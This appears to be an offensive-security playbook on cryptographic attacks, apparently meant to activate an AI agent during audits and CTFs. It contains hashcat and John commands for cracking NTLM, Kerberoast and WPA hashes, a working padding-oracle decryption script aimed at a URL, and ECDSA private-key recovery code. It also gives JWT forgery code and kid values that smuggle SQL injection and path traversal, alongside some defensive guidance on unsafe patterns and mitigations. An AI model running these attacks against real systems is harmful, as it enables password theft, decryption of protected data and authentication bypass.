Crypto Analysis

Cryptographic Analysis

When to Activate

• Assessing cryptographic implementations in code
• TLS/SSL configuration auditing
• Hash cracking and identification
• Key management review
• Side-channel vulnerability assessment
• CTF crypto challenges

Cipher & Hash Identification

# Hash identification
hashid '$2b$12$LJ3m4sMKfRzG...'  # bcrypt
hashid '5f4dcc3b5aa765d61d8327deb882cf99'  # MD5
# hashcat mode reference:
# 0=MD5, 100=SHA1, 1400=SHA256, 1800=SHA512crypt
# 3200=bcrypt, 1000=NTLM, 5600=NetNTLMv2
# 13100=Kerberoast, 18200=AS-REP, 22000=WPA-PBKDF2

# Cipher identification
# Look for: block size, key size, mode of operation
# ECB: identical plaintext blocks → identical ciphertext blocks
# CBC: IV required, padding oracle possible
# GCM: authenticated, nonce-misuse catastrophic
# CTR: stream cipher mode, nonce reuse = XOR of plaintexts

TLS/SSL Auditing

# testssl.sh (comprehensive)
testssl.sh --full https://target.com
testssl.sh --vulnerable https://target.com

# OpenSSL manual checks
openssl s_client -connect target.com:443 -tls1_2
openssl s_client -connect target.com:443 -cipher 'NULL:eNULL:aNULL'  # null ciphers
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -text -noout  # cert details

# Check specific vulnerabilities
# Heartbleed: openssl s_client -connect target:443 -tlsextdebug
# POODLE: test SSLv3 support
# ROBOT: test RSA key exchange
# CRIME/BREACH: check TLS compression

# Certificate analysis
openssl x509 -in cert.pem -text -noout
# Check: expiry, key size, signature algorithm, SAN, chain validity

Hash Cracking

# Hashcat
hashcat -m 0 hashes.txt wordlist.txt                    # MD5 dictionary
hashcat -m 0 hashes.txt wordlist.txt -r rules/best64.rule  # with rules
hashcat -m 1000 hashes.txt wordlist.txt                 # NTLM
hashcat -m 5600 hashes.txt wordlist.txt                 # NetNTLMv2
hashcat -m 13100 hashes.txt wordlist.txt                # Kerberoast
hashcat -m 22000 capture.hc22000 wordlist.txt           # WPA

# Mask attacks (brute force with pattern)
hashcat -m 0 hashes.txt -a 3 ?u?l?l?l?l?d?d?d?s        # Ullllddd!
hashcat -m 0 hashes.txt -a 3 'Company?d?d?d?d'          # Company0000-9999

# John the Ripper
john --wordlist=wordlist.txt --format=raw-md5 hashes.txt
john --rules --wordlist=wordlist.txt hashes.txt

# Common password patterns:
# Season+Year: Summer2024!, Winter2025!
# Company+digits: Company123!, Corp2024#
# Keyboard walks: qwerty123, !QAZ2wsx

Crypto Implementation Review

Common Vulnerabilities

Code Patterns to Flag

# DANGEROUS: ECB mode
cipher = AES.new(key, AES.MODE_ECB)

# DANGEROUS: Static IV
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)

# DANGEROUS: Weak KDF
key = hashlib.md5(password.encode()).digest()

# DANGEROUS: No authentication
ct = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(pt))
# Missing: HMAC over ciphertext

# DANGEROUS: Predictable randomness
import random
key = random.randbytes(32)  # NOT cryptographically secure

# SAFE: Proper authenticated encryption
from cryptography.fernet import Fernet  # AES-CBC + HMAC
from cryptography.hazmat.primitives.ciphers.aead import AESGCM  # AES-GCM

RSA Attacks (CTF/Research)

# Small public exponent (e=3, small message)
import gmpy2
m = gmpy2.iroot(c, 3)[0]  # cube root of ciphertext

# Common modulus attack (same n, different e)
# Extended GCD on e1, e2 → recover plaintext

# Wiener's attack (small private exponent)
# Continued fraction expansion of e/n

# Fermat factorization (p ≈ q)
# a = isqrt(n), check if a²-n is perfect square

# Hastad's broadcast attack (same m, e recipients)
# CRT on e ciphertexts → recover m^e → take e-th root

# RSA-CTF-Tool (automated)
python3 RsaCtfTool.py -n $N -e $E --uncipher $C

Side-Channel Analysis

# Timing attacks:
- String comparison: early termination leaks prefix length
- Modular exponentiation: square-and-multiply timing differences
- Cache timing: AES T-table access patterns

# Power analysis:
- Simple PA: directly observe key bits from power trace
- Differential PA: statistical correlation across many traces

# Detection in code:
- Non-constant-time comparison (memcmp, strcmp, ==)
- Branching on secret data (if key_bit: ...)
- Variable-time operations on secrets
- Table lookups indexed by secret data

# Mitigations:
- Constant-time comparison (crypto_memcmp, hmac.compare_digest)
- Branchless implementations
- Blinding (RSA, ECDSA)
- Masking (AES)

Advanced: Padding Oracle Attack Implementation

import requests

def padding_oracle_attack(url, ciphertext: bytes, block_size=16):
    """Decrypt ciphertext byte-by-byte using padding oracle"""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    plaintext = b''
    
    for block_idx in range(len(blocks)-1, 0, -1):
        target_block = blocks[block_idx]
        prev_block = bytearray(blocks[block_idx - 1])
        intermediate = bytearray(block_size)
        decrypted_block = bytearray(block_size)
        
        for byte_pos in range(block_size - 1, -1, -1):
            padding_val = block_size - byte_pos
            
            # Set already-found bytes for correct padding
            test_block = bytearray(block_size)
            for k in range(byte_pos + 1, block_size):
                test_block[k] = intermediate[k] ^ padding_val
            
            # Brute force current byte
            for guess in range(256):
                test_block[byte_pos] = guess
                payload = bytes(test_block) + bytes(target_block)
                
                resp = requests.post(url, data=payload)
                if resp.status_code != 400:  # Valid padding
                    intermediate[byte_pos] = guess ^ padding_val
                    decrypted_block[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                    break
        
        plaintext = bytes(decrypted_block) + plaintext
    
    return plaintext

# Attack complexity: 256 * block_size * num_blocks requests
# 16-byte blocks, 3 blocks: ~12,288 requests max

Advanced: Elliptic Curve Attacks

ECDSA Nonce Reuse

# If same nonce k is used for two different messages → private key recovery
# Given: (r, s1, hash1) and (r, s2, hash2) with same r (same k)

from Crypto.Util.number import inverse

def recover_key_from_nonce_reuse(r, s1, s2, hash1, hash2, n):
    """Recover ECDSA private key from nonce reuse"""
    # k = (hash1 - hash2) * inverse(s1 - s2, n) mod n
    k = ((hash1 - hash2) * inverse(s1 - s2, n)) % n
    # d = (s1 * k - hash1) * inverse(r, n) mod n
    d = ((s1 * k - hash1) * inverse(r, n)) % n
    return d

# Detection: two signatures with identical r value → nonce reused
# Historical: Sony PS3 used fixed k → complete ECDSA key recovery

Biased Nonce Attack (Lattice-Based)

# If ECDSA nonce has ANY bias (even a few bits) → key recovery via LLL
# Example: top 8 bits of nonce always zero (biased PRNG)

from sage.all import *

def lattice_ecdsa_attack(signatures, public_key, n, bias_bits=8):
    """Recover ECDSA private key from biased nonces
    signatures: list of (r, s, hash) tuples
    """
    num_sigs = len(signatures)
    
    # Build lattice:
    # For each sig: s_i * k_i = hash_i + r_i * d (mod n)
    # k_i has top `bias_bits` bits as 0: k_i < n / 2^bias_bits
    
    B = Matrix(QQ, num_sigs + 2, num_sigs + 2)
    
    for i in range(num_sigs):
        r_i, s_i, h_i = signatures[i]
        t_i = (inverse_mod(s_i, n) * r_i) % n
        u_i = (inverse_mod(s_i, n) * h_i) % n  # negated
        B[i, i] = n
        B[num_sigs, i] = t_i
        B[num_sigs + 1, i] = u_i
    
    B[num_sigs, num_sigs] = 1
    B[num_sigs + 1, num_sigs + 1] = n // (2 ** bias_bits)
    
    # LLL reduction
    reduced = B.LLL()
    # Private key is in reduced basis
    return reduced

Invalid Curve Attack

# Force ECDH onto weak curve by sending points not on the curve
# If implementation doesn't validate that received point is on curve:
# Attacker sends point on a different (weak) curve
# Shared secret computed on weak curve → small subgroup → discrete log easy

# Attack flow:
# 1. Find curves with small order subgroups
# 2. Send points from these weak curves as "public keys"
# 3. Victim computes shared secret on weak curve
# 4. Solve discrete log on weak curve (small order → trivial)
# 5. Reconstruct private key via CRT (combine multiple weak curve results)

# Prevention: always validate that received point is on the expected curve
# Check: y^2 = x^3 + ax + b (mod p)

Advanced: AES Implementation Attacks

Cache Timing Attack on AES T-Tables

# AES uses lookup tables (T-tables) indexed by key-dependent values
# Cache line accessed depends on (plaintext ^ key) byte
# By measuring cache access times → recover key bytes

# Attack setup:
# 1. Attacker and victim share CPU cache (same machine or VM)
# 2. Flush shared cache lines (Flush+Reload) or prime (Prime+Probe)
# 3. Victim encrypts attacker-chosen plaintext
# 4. Measure which T-table entries were accessed
# 5. Correlate with plaintext → deduce key bytes

# Flush+Reload on OpenSSL AES:
import ctypes, time

def flush_reload_probe(table_addr, cache_line_size=64):
    """Measure access time to determine if line is cached"""
    # Flush: clflush(table_addr)
    start = time.perf_counter_ns()
    # Access: read(table_addr)
    elapsed = time.perf_counter_ns() - start
    # Cached: ~4-10 cycles, Uncached: ~200+ cycles
    return elapsed < 50  # threshold in ns

# Protection: constant-time AES (AES-NI hardware instructions)
# AES-NI doesn't use lookup tables → immune to cache timing

Bleichenbacher's Attack (RSA PKCS#1 v1.5)

# Adaptive chosen-ciphertext attack on RSA with PKCS#1 v1.5 padding
# Requires: padding oracle (server tells if decrypted padding is valid)
# Result: full plaintext recovery in ~1 million queries

# ROBOT attack (Return Of Bleichenbacher's Oracle Threat):
# Modern variant — many TLS implementations still vulnerable
# Test: send malformed RSA-encrypted premaster secret
# Different error responses for bad padding vs bad data → oracle

# Step 1: Multiplying ciphertext by s
# c' = (c * s^e) mod n = (m * s)^e mod n
# If server says padding valid → m*s starts with 0x00 0x02

# Step 2: Narrow range of possible m values
# Repeat with different s values
# Each valid padding response halves the search space

# Step 3: After ~O(log n) valid responses → recover exact m

# testssl.sh detects this:
# testssl.sh --robot target.com:443

Advanced: Protocol-Level Crypto Attacks

TLS Downgrade Attacks

# POODLE: Force SSLv3 → CBC padding oracle
# Test: testssl.sh --poodle target.com

# DROWN: SSLv2 cross-protocol attack on TLS
# If server shares RSA key between SSLv2 and TLS:
# Decrypt TLS sessions using SSLv2 oracle
# Test: testssl.sh --drown target.com

# Logjam: DHE with 512/768-bit primes
# Precompute discrete log for common primes
# Real-time decryption of DHE sessions
# Test: nmap --script ssl-dh-params target

# SWEET32: Birthday attack on 64-bit block ciphers (3DES, Blowfish)
# After 2^32 blocks (~32GB): block collision → plaintext recovery
# Test: check for 3DES/Blowfish cipher suites

# Raccoon attack (DH timing): measure DH key agreement timing
# Different leading zero bytes → different processing time
# Test: timing-based, requires many connections

Certificate Attacks

# Self-signed cert acceptance (MITM)
# Many clients skip certificate validation → intercept TLS

# Certificate transparency log monitoring
# Search CT logs for certificates issued for target domain
# Find: shadow IT, staging environments, forgotten subdomains
curl "https://crt.sh/?q=%25.target.com&output=json" | jq '.[].name_value'

# OCSP stapling issues
# If OCSP responder is down and server doesn't staple → soft-fail
# Revoked certs still accepted during OCSP outage

# Key reuse across services
# Same RSA key on multiple servers → DROWN-style cross-protocol attacks
# Find: scan all ports/services for matching public keys

Advanced: Real-World Crypto Failures

JWT Vulnerabilities

import jwt, json, base64

# Algorithm confusion: RS256 → HS256
# Server expects RS256 (asymmetric) but accepts HS256 (symmetric)
# Sign with the PUBLIC key as HMAC secret → valid signature
public_key = open('public.pem', 'r').read()
forged = jwt.encode({"sub": "admin", "role": "admin"}, 
    public_key, algorithm="HS256")

# None algorithm
header = base64.b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload = base64.b64encode(json.dumps({"sub": "admin"}).encode())
forged = f"{header.decode()}.{payload.decode()}."  # empty signature

# JWK injection (embed key in header)
# Set "jwk" header to attacker's key → server uses it to verify

# JKU/X5U injection (point to attacker key URL)
# Set "jku" header to attacker URL hosting JWKS
# Server fetches attacker's keys → verifies with attacker's key

# Kid injection (key ID SQL injection or path traversal)
# kid: "../../dev/null" → empty key → predictable HMAC
# kid: "' UNION SELECT 'secret' --" → SQL injection in key lookup